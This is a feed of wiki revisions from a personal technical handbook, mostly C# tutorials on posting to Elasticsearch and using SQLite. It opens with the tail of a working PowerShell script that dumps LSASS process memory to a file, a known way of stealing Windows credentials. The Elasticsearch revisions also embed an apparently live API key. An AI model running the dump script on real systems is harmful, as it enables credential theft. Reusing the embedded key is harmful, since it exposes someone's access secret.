[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2350</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2350"/>
		<updated>2026-03-03T13:40:25Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Your Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Your Project == &lt;br /&gt;
In &amp;lt;code&amp;gt;appsettings.json&amp;lt;/code&amp;gt; add the following. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;Elasticsearch&amp;quot;: {&lt;br /&gt;
    &amp;quot;Url&amp;quot;: &amp;quot;https://10.18.20.1:9200&amp;quot;,&lt;br /&gt;
    &amp;quot;IndexName&amp;quot;: &amp;quot;my-index&amp;quot;,&lt;br /&gt;
    &amp;quot;ApiKey&amp;quot;: &amp;quot;U2g2OTVKc0I5QmZUMW5vY25NOXY6b25VMDFadUhsN1kycjJnZzVGekUwQQ==&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The below is a simple service that adds the message that the method receives to the body, and post ut using an HttpClient. &#039;&#039;my-index/_doc&#039;&#039; is just the indices that I made. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
 public Task&amp;lt;bool&amp;gt; PostDocument(MessageModel message)&lt;br /&gt;
        {&lt;br /&gt;
            var apiKey = _configuration[&amp;quot;Elasticsearch:ApiKey&amp;quot;];&lt;br /&gt;
            var url = _configuration[&amp;quot;Elasticsearch:Url&amp;quot;];&lt;br /&gt;
            var json = JsonSerializer.Serialize(message);&lt;br /&gt;
&lt;br /&gt;
            _httpClient.DefaultRequestHeaders.Add(&amp;quot;Accept&amp;quot;, &amp;quot;application/json&amp;quot;);&lt;br /&gt;
            _httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue(&amp;quot;ApiKey&amp;quot;, apiKey);&lt;br /&gt;
&lt;br /&gt;
            var body = new StringContent(json, Encoding.UTF8, &amp;quot;application/json&amp;quot;);&lt;br /&gt;
            var result = _httpClient.PostAsync($&amp;quot;{url}/my-index/_doc/&amp;quot;, body).GetAwaiter().GetResult();&lt;br /&gt;
&lt;br /&gt;
            if (result.IsSuccessStatusCode)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(result.ToString());&lt;br /&gt;
                return Task.FromResult(true);&lt;br /&gt;
            }&lt;br /&gt;
            return Task.FromResult(false);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now you can expose this service via a controller.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
  [HttpPost]&lt;br /&gt;
        public Task&amp;lt;ActionResult&amp;gt; PostData([FromBody] MessageModel messageModel)&lt;br /&gt;
        {&lt;br /&gt;
            var elastic = new ElasticsearchService(_httpClient, _configuration);&lt;br /&gt;
            var result = elastic.PostDocument(messageModel);&lt;br /&gt;
&lt;br /&gt;
            if (result.IsCompleted)&lt;br /&gt;
            {&lt;br /&gt;
                return OkResult&lt;br /&gt;
            }&lt;br /&gt;
            return OkResult(result);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2349</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2349"/>
		<updated>2026-03-03T13:39:07Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Your Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Your Project == &lt;br /&gt;
In &amp;lt;code&amp;gt;appsettings.json&amp;lt;/code&amp;gt; add the following. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;Elasticsearch&amp;quot;: {&lt;br /&gt;
    &amp;quot;Url&amp;quot;: &amp;quot;https://10.18.20.1:9200&amp;quot;,&lt;br /&gt;
    &amp;quot;IndexName&amp;quot;: &amp;quot;my-index&amp;quot;,&lt;br /&gt;
    &amp;quot;ApiKey&amp;quot;: &amp;quot;U2g2OTVKc0I5QmZUMW5vY25NOXY6b25VMDFadUhsN1kycjJnZzVGekUwQQ==&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The below is a simple service that adds the message that the method receives to the body, and post ut using an HttpClient. &#039;&#039;my-index/_doc&#039;&#039; is just the indices that I made. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
 public Task&amp;lt;bool&amp;gt; PostDocument(MessageModel message)&lt;br /&gt;
        {&lt;br /&gt;
            var apiKey = _configuration[&amp;quot;Elasticsearch:ApiKey&amp;quot;];&lt;br /&gt;
            var url = _configuration[&amp;quot;Elasticsearch:Url&amp;quot;];&lt;br /&gt;
            var json = JsonSerializer.Serialize(message);&lt;br /&gt;
&lt;br /&gt;
            _httpClient.DefaultRequestHeaders.Add(&amp;quot;Accept&amp;quot;, &amp;quot;application/json&amp;quot;);&lt;br /&gt;
            _httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue(&amp;quot;ApiKey&amp;quot;, apiKey);&lt;br /&gt;
&lt;br /&gt;
            var body = new StringContent(json, Encoding.UTF8, &amp;quot;application/json&amp;quot;);&lt;br /&gt;
            var result = _httpClient.PostAsync($&amp;quot;{url}/my-index/_doc/&amp;quot;, body).GetAwaiter().GetResult();&lt;br /&gt;
&lt;br /&gt;
            if (result.IsSuccessStatusCode)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(result.ToString());&lt;br /&gt;
                return Task.FromResult(true);&lt;br /&gt;
            }&lt;br /&gt;
            return Task.FromResult(false);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now you can expose this service via a controller.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
  [HttpPost]&lt;br /&gt;
        public Task&amp;lt;ActionResult&amp;gt; PostData([FromBody] MessageModel messageModel)&lt;br /&gt;
        {&lt;br /&gt;
            var elastic = new ElasticsearchService(_httpClient, _configuration);&lt;br /&gt;
            var result = elastic.PostDocument(messageModel);&lt;br /&gt;
&lt;br /&gt;
            if (result.IsCompleted)&lt;br /&gt;
            {&lt;br /&gt;
                return OkResult&lt;br /&gt;
            }&lt;br /&gt;
            return OkResult(result);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2348</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2348"/>
		<updated>2026-03-03T13:38:46Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Your Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Your Project == &lt;br /&gt;
In &amp;lt;code&amp;gt;appsettings.json&amp;lt;/code&amp;gt; add the following. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;Elasticsearch&amp;quot;: {&lt;br /&gt;
    &amp;quot;Url&amp;quot;: &amp;quot;https://10.18.20.1:9200&amp;quot;,&lt;br /&gt;
    &amp;quot;IndexName&amp;quot;: &amp;quot;my-index&amp;quot;,&lt;br /&gt;
    &amp;quot;ApiKey&amp;quot;: &amp;quot;U2g2OTVKc0I5QmZUMW5vY25NOXY6b25VMDFadUhsN1kycjJnZzVGekUwQQ==&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The below is a simple service that adds the message that the method receives to the body, and post ut using an HttpClient. &#039;&#039;my-index/_doc&#039;&#039; is just the indices that I made. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
 public Task&amp;lt;bool&amp;gt; PostDocument(MessageModel message)&lt;br /&gt;
        {&lt;br /&gt;
            var apiKey = _configuration[&amp;quot;Elasticsearch:ApiKey&amp;quot;];&lt;br /&gt;
            var url = _configuration[&amp;quot;Elasticsearch:Url&amp;quot;];&lt;br /&gt;
            var json = JsonSerializer.Serialize(message);&lt;br /&gt;
&lt;br /&gt;
            _httpClient.DefaultRequestHeaders.Add(&amp;quot;Accept&amp;quot;, &amp;quot;application/json&amp;quot;);&lt;br /&gt;
            _httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue(&amp;quot;ApiKey&amp;quot;, apiKey);&lt;br /&gt;
&lt;br /&gt;
            var body = new StringContent(json, Encoding.UTF8, &amp;quot;application/json&amp;quot;);&lt;br /&gt;
            var result = _httpClient.PostAsync($&amp;quot;{url}/my-index/_doc/&amp;quot;, body).GetAwaiter().GetResult();&lt;br /&gt;
&lt;br /&gt;
            if (result.IsSuccessStatusCode)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(result.ToString());&lt;br /&gt;
                return Task.FromResult(true);&lt;br /&gt;
            }&lt;br /&gt;
            return Task.FromResult(false);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now you can expose this services via a Controller. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
  [HttpPost]&lt;br /&gt;
        public Task&amp;lt;ActionResult&amp;gt; PostData([FromBody] MessageModel messageModel)&lt;br /&gt;
        {&lt;br /&gt;
            var elastic = new ElasticsearchService(_httpClient, _configuration);&lt;br /&gt;
            var result = elastic.PostDocument(messageModel);&lt;br /&gt;
&lt;br /&gt;
            if (result.IsCompleted)&lt;br /&gt;
            {&lt;br /&gt;
                return OkResult&lt;br /&gt;
            }&lt;br /&gt;
            return OkResult(result);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2347</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2347"/>
		<updated>2026-03-03T13:37:44Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Your Project == &lt;br /&gt;
In &amp;lt;code&amp;gt;appsettings.json&amp;lt;/code&amp;gt; add the following. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;Elasticsearch&amp;quot;: {&lt;br /&gt;
    &amp;quot;Url&amp;quot;: &amp;quot;https://10.18.20.1:9200&amp;quot;,&lt;br /&gt;
    &amp;quot;IndexName&amp;quot;: &amp;quot;my-index&amp;quot;,&lt;br /&gt;
    &amp;quot;ApiKey&amp;quot;: &amp;quot;U2g2OTVKc0I5QmZUMW5vY25NOXY6b25VMDFadUhsN1kycjJnZzVGekUwQQ==&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The below is a simple service that adds the message that the method receives to the body, and post ut using an HttpClient. &#039;&#039;my-index/_doc&#039;&#039; is just the indices that I made. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
 public Task&amp;lt;bool&amp;gt; PostDocument(MessageModel message)&lt;br /&gt;
        {&lt;br /&gt;
            var apiKey = _configuration[&amp;quot;Elasticsearch:ApiKey&amp;quot;];&lt;br /&gt;
            var url = _configuration[&amp;quot;Elasticsearch:Url&amp;quot;];&lt;br /&gt;
            var json = JsonSerializer.Serialize(message);&lt;br /&gt;
&lt;br /&gt;
            _httpClient.DefaultRequestHeaders.Add(&amp;quot;Accept&amp;quot;, &amp;quot;application/json&amp;quot;);&lt;br /&gt;
            _httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue(&amp;quot;ApiKey&amp;quot;, apiKey);&lt;br /&gt;
&lt;br /&gt;
            var body = new StringContent(json, Encoding.UTF8, &amp;quot;application/json&amp;quot;);&lt;br /&gt;
            var result = _httpClient.PostAsync($&amp;quot;{url}/my-index/_doc/&amp;quot;, body).GetAwaiter().GetResult();&lt;br /&gt;
&lt;br /&gt;
            if (result.IsSuccessStatusCode)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(result.ToString());&lt;br /&gt;
                return Task.FromResult(true);&lt;br /&gt;
            }&lt;br /&gt;
            return Task.FromResult(false);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2346</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2346"/>
		<updated>2026-03-03T13:34:33Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Using Appsettings.json */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;DBContext &amp;gt;(options =&amp;gt; options.UseSqlite())&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Using Appsettings.json === &lt;br /&gt;
Another method is to use &amp;lt;code&amp;gt;Appsettings.json&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt; &lt;br /&gt;
  &amp;quot;ConnectionStrings&amp;quot;: {&lt;br /&gt;
    &amp;quot;DefaultConnection&amp;quot;: &amp;quot;Data Source=MyDatabase.db&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Then in your &amp;lt;code&amp;gt;Proram.cs&amp;lt;/code&amp;gt; add the following for DI. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
  var connectionString = builder.Configuration.GetConnectionString(&amp;quot;DefaultConnection&amp;quot;);&lt;br /&gt;
            builder.Services.AddDbContext&amp;lt;DatabaseContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2345</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2345"/>
		<updated>2026-03-03T13:34:17Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
